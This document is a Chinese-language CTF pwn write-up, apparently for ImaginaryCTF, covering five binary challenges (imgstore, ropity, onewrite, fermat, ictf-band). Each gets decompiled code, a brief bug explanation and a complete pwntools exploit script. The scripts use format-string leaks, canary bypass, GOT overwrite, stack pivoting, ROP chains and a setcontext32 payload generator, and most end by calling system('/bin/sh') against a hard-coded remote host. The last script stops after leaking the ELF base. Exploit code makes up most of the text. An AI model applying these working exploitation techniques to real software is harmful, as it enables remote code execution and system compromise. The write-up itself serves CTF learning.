pwn

imgstore

unsigned __int64 sell_book()
{
  char v1; // [rsp+7h] [rbp-59h] BYREF
  int buf; // [rsp+8h] [rbp-58h] BYREF
  int fd; // [rsp+Ch] [rbp-54h]
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  close(fd);
  buf = (unsigned __int16)buf;
  do
  {
    printf("Enter book title: ");
    fgets(s, 50, stdin);
    printf("Book title --> ");
    printf(s);
    puts(&::s);
    if ( 334873123 * buf == dword_6050 )
    {
      dword_608C = 2;
      sub_1D77(2);
    }
    puts("Sorry, we already have the same title as yours in our database; give me another book title.");
    printf("Still interested in selling your book? [y/n]: ");
    __isoc99_scanf("%1c", &v1);
    getchar();
  }
  while ( v1 == 'y' );
  puts(&::s);
  printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
  sleep(1u);
  return __readfsqword(0x28u) ^ v5;
}

unsigned __int64 __fastcall sub_1D77(int a1)
{
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  sub_18F2();
  if ( a1 == 2 )
  {
    printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
    putchar(62);
    fgets(s, 160, stdin);
  }
  else
  {
    printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
    puts("[+] BAD HACKER!!");
  }
  return __readfsqword(0x28u) ^ v3;
}

程序中存在格式化字符串漏洞,和一个栈溢出漏洞,泄露地址后 直接改printf函数的返回地址然后打 rop就好了,就不需要任意地址写两次满足上面的约束,任意地址写的话,直接清空两个位置好像也行,/dev/urandom是真随机数,直接清空的话甚至不需要泄露

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./imgstore')
# libc = elf.libc
libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


sla(">>","3")

# elf - canary - stack
payload = b"-%14$p-%17$p-%18$p"
sla("title:",payload)

ru("Book title --> ")
ru('-')
elf_base = int(r(14),16) - (0x63cbb30f52b0 - 0x63cbb30f3000)
ru('-')
canary = int(r(18),16)
ru('-')
printf_addr = int(r(14),16) - (0x7ffdec097dc0 - 0x7ffdec097d38)
sla("Still interested in selling your book? [y/n]","y")


payload = b"-%10$s"
payload = payload.ljust(0x10,b'\x00')
payload += p64(elf_base + elf.got['puts'])
sla("title:",payload)

ru("Book title --> ")
ru('-')
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
sla("Still interested in selling your book? [y/n]","y")

payload = b"%" + str(0xf1).encode() + b"c%10$hhn"
payload = payload.ljust(0x10,b'a')
payload += p64(printf_addr)
sla("title:",payload)

time.sleep(0.3)

rdi = elf_base + 0x0000000000002313
ret = elf_base + 0x000000000000101a
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))


payload = b'a' * 0x68 + p64(canary) + b'a' * 0x8
payload += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sl(payload)




p.interactive()

ropity

.text:0000000000401136                               ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401136                               public main
.text:0000000000401136                               main proc near                          ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136                               s= byte ptr -8
.text:0000000000401136
.text:0000000000401136                               ; __unwind {
.text:0000000000401136 F3 0F 1E FA                   endbr64
.text:000000000040113A 55                            push    rbp
.text:000000000040113B 48 89 E5                      mov     rbp, rsp
.text:000000000040113E 48 83 EC 10                   sub     rsp, 10h
.text:0000000000401142 48 8B 15 E7 2E 00 00          mov     rdx, cs:__bss_start             ; stream
.text:0000000000401149 48 8D 45 F8                   lea     rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00                mov     esi, 100h                       ; n
.text:0000000000401152 48 89 C7                      mov     rdi, rax                        ; s
.text:0000000000401155 E8 E6 FE FF FF                call    _fgets
.text:0000000000401155
.text:000000000040115A 90                            nop
.text:000000000040115B C9                            leave
.text:000000000040115C C3                            retn
.text:000000000040115C                               ; } // starts at 401136
.text:000000000040115C
.text:000000000040115C                               main endp
.text:000000000040115C
.text:000000000040115D
.text:000000000040115D                               ; =============== S U B R O U T I N E =======================================
.text:000000000040115D
.text:000000000040115D                               ; Attributes: bp-based frame
.text:000000000040115D
.text:000000000040115D                               ; signed __int64 __fastcall printfile(const char *, __int64, int)
.text:000000000040115D                               public printfile
.text:000000000040115D                               printfile proc near
.text:000000000040115D
.text:000000000040115D                               var_8= qword ptr -8
.text:000000000040115D
.text:000000000040115D                               ; __unwind {
.text:000000000040115D F3 0F 1E FA                   endbr64
.text:0000000000401161 55                            push    rbp
.text:0000000000401162 48 89 E5                      mov     rbp, rsp
.text:0000000000401165 48 89 7D F8                   mov     [rbp+var_8], rdi
.text:0000000000401169 48 C7 C0 02 00 00 00          mov     rax, 2
.text:0000000000401170 48 C7 C6 00 00 00 00          mov     rsi, 0                          ; flags
.text:0000000000401177 0F 05                         syscall                                 ; LINUX - sys_open
.text:0000000000401179 48 89 C6                      mov     rsi, rax                        ; in_fd
.text:000000000040117C 48 C7 C7 01 00 00 00          mov     rdi, 1                          ; out_fd
.text:0000000000401183 48 C7 C2 00 00 00 00          mov     rdx, 0                          ; offset
.text:000000000040118A 49 C7 C0 00 01 00 00          mov     r8, 100h
.text:0000000000401191 48 C7 C0 28 00 00 00          mov     rax, 28h ; '('
.text:0000000000401198 0F 05                         syscall                                 ; LINUX - sys_sendfile
.text:000000000040119A 90                            nop
.text:000000000040119B 5D                            pop     rbp
.text:000000000040119C C3                            retn
.text:000000000040119C                               ; } // starts at 40115D
.text:000000000040119C
.text:000000000040119C                               printfile endp
.text:000000000040119C

真的是很巧妙的构造,main函数中存在一个栈溢出,是fgets函数,然后有一个printfile函数,通过open 和 sendfile将一个文件的内容打印出来,printfile在使用前必须控制rdi寄存器才能printfile成功,由于高版本glibc csu函数变成了动态链接,所以以ret结尾能控制寄存器的gadget寥寥无几,能控制rdi寄存器为我想要的值的gadget基本上没有

lhj@lhj-virtual-machine:~/Desktop/ImaginaryCTF/pwn/ropity$ ROPgadget --binary vuln
Gadgets information
============================================================
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040116f : add byte ptr [rax - 0x39], cl ; mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401182 : add byte ptr [rax - 0x39], cl ; ret 0
0x0000000000401190 : add byte ptr [rax - 0x39], cl ; shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401180 : add byte ptr [rax], al ; add byte ptr [rax - 0x39], cl ; ret 0
0x000000000040107c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401173 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040111a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040107e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040118f : add byte ptr [rax], al ; mov rax, 0x28 ; syscall
0x000000000040116e : add byte ptr [rax], al ; mov rsi, 0 ; syscall
0x0000000000401175 : add byte ptr [rax], al ; syscall
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040111b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401117 : add eax, 0x2f1b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401159 : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401133 : cli ; jmp 0x4010c0
0x0000000000401083 : cli ; ret
0x00000000004011a3 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401130 : endbr64 ; jmp 0x4010c0
0x0000000000401080 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401134 : jmp 0x4010c0
0x000000000040100b : jmp 0x4840103f
0x00000000004010ac : jmp rax
0x000000000040115b : leave ; ret
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401172 : mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401116 : mov byte ptr [rip + 0x2f1b], 1 ; pop rbp ; ret
0x0000000000401192 : mov eax, 0x28 ; syscall
0x00000000004010a7 : mov edi, 0x404030 ; jmp rax
0x0000000000401171 : mov esi, 0 ; syscall
0x0000000000401191 : mov rax, 0x28 ; syscall
0x0000000000401170 : mov rsi, 0 ; syscall
0x000000000040115a : nop ; leave ; ret
0x000000000040119a : nop ; pop rbp ; ret
0x00000000004010af : nop ; ret
0x000000000040112c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010c0
0x00000000004010a6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040111d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401185 : ret 0
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401118 : sbb ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401193 : shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401194 : sub byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401177 : syscall
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
0x00000000004010a8 : xor byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret

Unique gadgets found: 65

但是,细看会发现 fgets的rdi是可控的 因为取栈上的变量这个过程,实际上是通过 rbp - 一个正整数偏移去取的,如果能控制rbp,那 rdi的值就是可控的,如果将fgets的got修改成printfile,然后保证 rbp - 0x8的值是 ./flag字符串的地址,gadget这个问题不就解决了吗。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+8h] [rbp-8h] BYREF

  return (unsigned int)fgets(s, 256, _bss_start);
}

.text:0000000000401142 48 8B 15 E7 2E 00 00          mov     rdx, cs:__bss_start             ; stream
.text:0000000000401149 48 8D 45 F8                   lea     rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00                mov     esi, 100h                       ; n
.text:0000000000401152 48 89 C7                      mov     rdi, rax                        ; s
.text:0000000000401155 E8 E6 FE FF FF                call    _fgets

首先需要栈迁移把栈迁移到已知 的地址上面的条件才能满足,第一次fgets 将rbp覆盖成 fgets_got + 0x8,然后调用 fgets,由于s的计算是通过rbp - 0x8,所以能直接将fgets_got覆盖,覆盖成printfile,然后再控制rbp,保证rbp - 0x8的值是flag最后调用fgets就好了

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc
# libc = ELF('./libc.so.6')

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

print_file_func = 0x00000000040115D
fgets_func = 0x000000000401142
fgets_got = 0x404018

payload = b'a' * 0x8
payload += p64(fgets_got + 0x8) # rbp
payload += p64(fgets_func) # rbp - 0x8
sl(payload)


# int __cdecl main(int argc, const char **argv, const char **envp)
# {
#   char s[8]; // [rsp+8h] [rbp-8h] BYREF

#   return (unsigned int)fgets(s, 256, _bss_start);
# }

payload = p64(print_file_func) # 修改fgets的got为printf_file_func 来控制 rdi
payload += p64(0x404038) # rbp
payload += p64(fgets_func) # 0x404028
payload += b"./flag\x00"
# g(p)
sl(payload)

p.interactive()

onewrite

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  printf("%p\n> ", &printf);
  __isoc99_scanf("%p%*c", &s);
  fgets(s, 768, stdin);
  puts("bye");
  return v6 - __readfsqword(0x28u);
}

有一次任意地址写大量数据的原语,还有libc的地址,看官方wp发现有个叫setcontent32的项目,只需要一次任意地址写的原语和知道libc的基地址,就可以通过这个项目生成payload去getshell https://hackmd.io/@pepsipu/SyqPbk94a

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()


libc.address = int(r(14),16) - libc.sym['printf']
dst, payload = setcontext32(libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__())

sl(hex(dst))
sl(payload)


p.interactive()

fermat

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  read(0, buf, 0x128uLL);
  if ( strchr(buf, 'n') )
    __assert_fail("strstr(buf, \"n\") == NULL", "vuln.c", 0xEu, "main");
  printf(buf);
  return 0;
}

有一个栈溢出,可以通过格式化字符串去泄露libc地址,然后再配合libc start main的magic gadget重启main函数,然后用libc中的gadget打rop

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()



payload = b'%39$p'.ljust(0x108,b'a') + b'\x89'
s(payload)

libc_base = int(r(14),16) - 0x29d1c - 0x6d
success(hex(libc_base))

pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x00000000000bab79


payload = b'a' * 0x108 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
s(payload)


# g(p)



p.interactive()

ictf-band

__int64 sub_2151()
{
  int choice; // [rsp+Ch] [rbp-4h] BYREF

  do
  {
    logo();
    puts("[1]. Name a song.");
    puts("[2]. Join the band.");
    puts("[3]. Write lyrics.");
    puts("[4]. Exit.");
    printf(">> ");
    __isoc99_scanf("%1d", &choice);
    getchar();
    if ( choice == 4 )
    {
      puts(byte_3080);
      printf("\x1B[1;33m");
      puts("Goodbye!");
      printf("\x1B[0m");
    }
    else
    {
      if ( choice <= 4 )
      {
        switch ( choice )
        {
          case 3:
            write_lyrics();
            continue;
          case 1:
            name_a_song();
            continue;
          case 2:
            join();
            continue;
        }
      }
      puts(byte_3080);
      printf("\x1B[1;33m");
      puts("[/] Invalid option..");
      printf("\x1B[0m");
      puts(byte_3080);
    }
  }
  while ( choice != 4 );
  return ext();
}

int write_lyrics()
{
  char s[112]; // [rsp+110h] [rbp-70h] BYREF

  puts(byte_3080);
  sub_15AC();
  printf("Show me what you got: ");
  fgets(s, 100, stdin);
  puts(byte_3080);
  printf("\x1B[1;31m[+]\x1B[0m You are bad at making lyrics.. No hard feeling..");
  return puts(byte_3080);
}

int sub_16E4()
{
  int result; // eax
  char ptr[52]; // [rsp+0h] [rbp-90h] BYREF
  int v2; // [rsp+34h] [rbp-5Ch] BYREF
  char v3; // [rsp+3Ah] [rbp-56h] BYREF
  char v4; // [rsp+3Bh] [rbp-55h] BYREF
  int v5; // [rsp+3Ch] [rbp-54h] BYREF
  char nptr[52]; // [rsp+40h] [rbp-50h] BYREF
  int v7; // [rsp+74h] [rbp-1Ch] BYREF
  char s[8]; // [rsp+78h] [rbp-18h] BYREF
  void *v9; // [rsp+80h] [rbp-10h]
  int v10; // [rsp+88h] [rbp-8h]
  int v11; // [rsp+8Ch] [rbp-4h]

  sub_1474();
  v11 = 1;
  if ( dword_5160 == 5 )
  {
    printf("\x1B[1;31m");
    printf(">> ");
    printf("\x1B[0m");
    return puts("Slot is full.");
  }
  else
  {
    puts("Hello there, give me your best idea for a song-name!");
    puts("Before that, please choose at which slot you want to add your preferences.");
    printf("Slot [1-5]: ");
    __isoc99_scanf("%1d", &v7);
    getchar();
    if ( v7 <= 5 && v7 > 0
      || (puts("Only slot 1 - 5 available."),
          puts("Anyway, how many ictf album you have?"),
          printf("Album Count: "),
          __isoc99_scanf("%99d", &v5),
          getchar(),
          v5 > 0) )
    {
      printf("Let's start by choosing the genre [jazz | pop | rock]: ");
      fgets(s, 8, stdin);
      printf("Now tell me the song title: ");
      fgets(nptr, 50, stdin);
      puts(byte_3080);
      printf("\x1B[1;33m");
      printf("[GENRE]: %s\n", s);
      printf("[TITLE]: %s\n", nptr);
      printf("\x1B[0m");
      puts(byte_3080);
      puts("I like it! Let's make it a hit!");
      v10 = atoi(nptr);
      v9 = malloc(v10);
      if ( v9 )
      {
        if ( qword_50A0[v7] )
        {
          printf("\x1B[1;33m");
          puts("[+] Machine Temp is high..");
          printf("\x1B[0;31m");
          puts("[#] Terminating Program.");
          printf("\x1B[0m");
          putchar(46);
          sleep(1u);
          putchar(46);
          sleep(1u);
          putchar(46);
          sleep(1u);
          exit(0);
        }
        qword_50A0[v7] = v9;
        dword_5120[v7] = v10;
      }
      printf("\x1B[1;33m");
      puts("[+] Data saved!");
      printf("\x1B[0m");
      puts(byte_3080);
      puts(byte_3080);
      dword_5160 += v11;
      result = dword_5160;
      if ( dword_5160 == 5 )
      {
        printf("\x1B[1;31m");
        printf(">> ");
        printf("\x1B[0m");
        return puts("Slot is now full.");
      }
    }
    else
    {
      printf("Would you like to buy one or maybe more? [y/n]: ");
      __isoc99_scanf("%c", &v4);
      if ( v4 == 121 )
      {
        printf("The album should be pre-ordered. Tell us how many you want, we will contact you soon: ");
        __isoc99_scanf("%d", &v2);
        getchar();
        printf("Tell us your e-mail: ");
        fread(ptr, 1uLL, v2, stdin);
        puts(byte_3080);
        printf("\x1B[1;33m");
        puts("[YOUR DATA] Please validate before continuing: ");
        printf("\x1B[0m");
        puts(ptr);
        puts(byte_3080);
        printf("It's verified [y/n]: ");
        __isoc99_scanf("%c", &v3);
        getchar();
        if ( v3 != 121 )
        {
          printf("\x1B[1;33m");
          puts("[+] Machine Temp is high..");
          printf("\x1B[0;31m");
          puts("[#] Terminating Program.");
          printf("\x1B[0m");
          putchar(46);
          sleep(1u);
          putchar(46);
          sleep(1u);
          putchar(46);
          sleep(1u);
          exit(0);
        }
        printf("\x1B[1;35m");
        puts("[@] Thank you for your order, we will contact you soon.");
        return printf("\x1B[0m");
      }
      else
      {
        if ( v4 != 'n' )
        {
          printf("\x1B[1;33m");
          puts("[+] Machine Temp is high..");
          printf("\x1B[0;31m");
          puts("[#] Terminating Program.");
          printf("\x1B[0m");
          putchar(46);
          sleep(1u);
          putchar(46);
          sleep(1u);
          putchar(46);
          sleep(1u);
          exit(0);
        }
        return puts("Alright then!");
      }
    }
  }
  return result;
}

int sub_1DC2()
{
  puts(byte_3080);
  sub_1510();
  printf("\x1B[1;31m");
  printf(">> ");
  printf("\x1B[0m");
  puts("Sorry, member registration is closed.");
  printf("\x1B[1;31m");
  printf(">> ");
  printf("\x1B[0m");
  puts("BUT, we're seeking a creative person for naming a song!");
  return puts(byte_3080);
}

int sub_1E8B()
{
  char ptr[208]; // [rsp+0h] [rbp-160h] BYREF
  char s[60]; // [rsp+D0h] [rbp-90h] BYREF
  unsigned int v3; // [rsp+10Ch] [rbp-54h] BYREF
  char v4[40]; // [rsp+110h] [rbp-50h] BYREF
  __int64 v5; // [rsp+138h] [rbp-28h]
  __int64 v6; // [rsp+140h] [rbp-20h]
  __int64 v7; // [rsp+148h] [rbp-18h]
  __int64 v8; // [rsp+150h] [rbp-10h]
  __int64 v9; // [rsp+158h] [rbp-8h]

  puts(byte_3080);
  print_data();
  strcpy(v4, "Thank you for filling the questionnaire");
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  puts("\x1B[1;32m[+]\x1B[0m Anyway, we want to identify your persona.");
  puts("[?] Kindly fill the questionnaire below [?]");
  printf("Name: ");
  fgets(s, 50, stdin);
  printf("Age: ");
  __isoc99_scanf("%d", &v3);
  printf("Life background: ");
  fread(ptr, 1uLL, (int)v3, stdin);
  puts(byte_3080);
  puts(byte_3080);
  puts("======= YOUR DATA =======");
  printf("Name: %s\n", s);
  printf("Age: %d\n", v3);
  printf("Life Background: %s\n", ptr);
  puts(byte_3080);
  printf("\x1B[1;33m");
  puts("[+] Data saved!");
  printf("\x1B[0m");
  puts(byte_3080);
  return printf("\x1B[1;32m>>\x1B[0m %s\n", v4);
}

程序的逻辑很简单,在ext函数中存在一个溢出,不过程序有pie,细看 ext会发现在输出的时候%s可以用来泄露栈上的数据,所以思路是泄露elf基地址后,利用残留的rdi寄存器 puts泄露libc地址,然后再打system binsh

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./ictf-band')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()

def ext(data, length, _payload):
    sla(b'>', b'4')
    sla(b':', f'{data}')
    sla(b':', f'{length}')
    sla(b':', _payload)

payload = cyclic(0x167) + b'\xeb'
ext(b'b' * 0x8,len(payload) + 1,payload)

ru(b'adoaa')
elf_base = u64(r(6).ljust(8,b'\x00')) - 0x22eb
success(f"elf_base ->{hex(elf_base)}")
elf.address = elf_base

